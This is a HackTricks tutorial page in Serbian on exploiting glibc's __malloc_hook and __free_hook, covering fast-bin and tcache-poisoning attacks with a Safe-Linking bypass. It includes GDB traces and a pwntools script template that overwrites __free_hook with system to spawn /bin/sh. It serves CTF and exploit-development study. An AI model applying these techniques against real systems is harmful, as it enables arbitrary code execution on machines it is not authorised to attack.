WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Malloc Hook

Kao što možete videti na Official GNU site, promenljiva __malloc_hook je pokazivač koji pokazuje na adresu funkcije koja će biti pozvana svaki put kada se pozove malloc(), smeštena u sekciji podataka libc biblioteke. Stoga, ako se ova adresa prepiše sa One Gadget, na primer, i pozove se malloc, One Gadget će biti pozvan.

Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivom printf("%10000$c")**, što alocira previše bajtova, čime libc` poziva malloc da ih alocira na heap-u.

Više informacija o One Gadget-u u:

One Gadget

warning

Imajte na umu da su hook-ovi onemogućeni za GLIBC >= 2.34. Postoje druge tehnike koje se mogu koristiti na modernim verzijama GLIBC. Vidi: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzi bin nakon što je zloupotrebljen napad na neusortirani bin:

Unsorted Bin Attack

Moguće je pronaći adresu __free_hook ako binarni fajl ima simbole sa sledećom komandom:

bash
gef➤  p &__free_hook

U postu možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao rezime, u funkciji free:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

Na pomenutom mestu prekida u prethodnom kodu u $eax će se nalaziti adresa slobodnog hook-a.

Sada se vrši fast bin napad:

  • Prvo je otkriveno da je moguće raditi sa brzim chunk-ovima veličine 200 na lokaciji __free_hook:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena
  • Za to, kreira se novi chunk veličine 0xfc i spojena funkcija se poziva sa tim pokazivačem dva puta, na taj način dobijamo pokazivač na oslobođeni chunk veličine 0xfc*2 = 0x1f8 u brzom binu.
  • Zatim se poziva funkcija za izmenu u ovom chunk-u da modifikuje adresu fd ovog brzog bina da pokazuje na prethodnu funkciju __free_hook.
  • Zatim se kreira chunk veličine 0x1f8 da se iz brzog bina povuče prethodni beskorisni chunk, tako da se kreira još jedan chunk veličine 0x1f8 da se dobije brzi bin chunk u __free_hook koji se prepisuje adresom funkcije system.
  • I konačno, chunk koji sadrži string /bin/sh\x00 se oslobađa pozivom funkcije za brisanje, aktivirajući funkciju __free_hook koja pokazuje na sistem sa /bin/sh\x00 kao parametrom.

Tcache trovanje & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 je uveo Safe-Linking – proveru integriteta koja štiti jednostruko povezane liste korišćene od strane tcache i brzih binova. Umesto da čuva sirovi napredni pokazivač (fd), ptmalloc sada čuva obfuskovan sa sledećom makro:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Posledice za eksploataciju:

  1. heap leak je obavezan – napadač mora znati runtime vrednost chunk_addr >> 12 da bi napravio validan obfuskovani pokazivač.
  2. Samo puni 8-bajtni pokazivač može biti falsifikovan; delimična prepisivanja jednog bajta neće proći proveru.

Minimalna tcache-poisoning primitiva koja prepisuje __free_hook na glibc 2.32/2.33 izgleda ovako:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

The snippet above was adapted from recent CTF challenges such as UIUCTF 2024 – «Rusty Pointers» and openECSC 2023 – «Babyheap G», both of which relied on Safe-Linking bypasses to overwrite __free_hook.


Šta se promenilo u glibc ≥ 2.34?

Počevši od glibc 2.34 (avgust 2021), alokacione hook-ove __malloc_hook, __realloc_hook, __memalign_hook i __free_hook su uklonjeni iz javnog API-ja i više ih ne poziva alokator. Simboli za kompatibilnost su i dalje dostupni za nasleđene binarne datoteke, ali njihovo prepisivanje više ne utiče na kontrolni tok malloc() ili free().

Praktična implikacija: na modernim distribucijama (Ubuntu 22.04+, Fedora 35+, Debian 12, itd.) morate preći na druge hijack primitivne (IO-FILE, __run_exit_handlers, vtable spraying, itd.) jer će prepisivanje hook-ova tiho propasti.

Ako vam je još uvek potrebno staro ponašanje za debagovanje, glibc isporučuje libc_malloc_debug.so koji se može prethodno učitati da ponovo omogući nasleđene hook-ove – ali biblioteka nije namenjena za produkciju i može nestati u budućim izdanjima.


Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks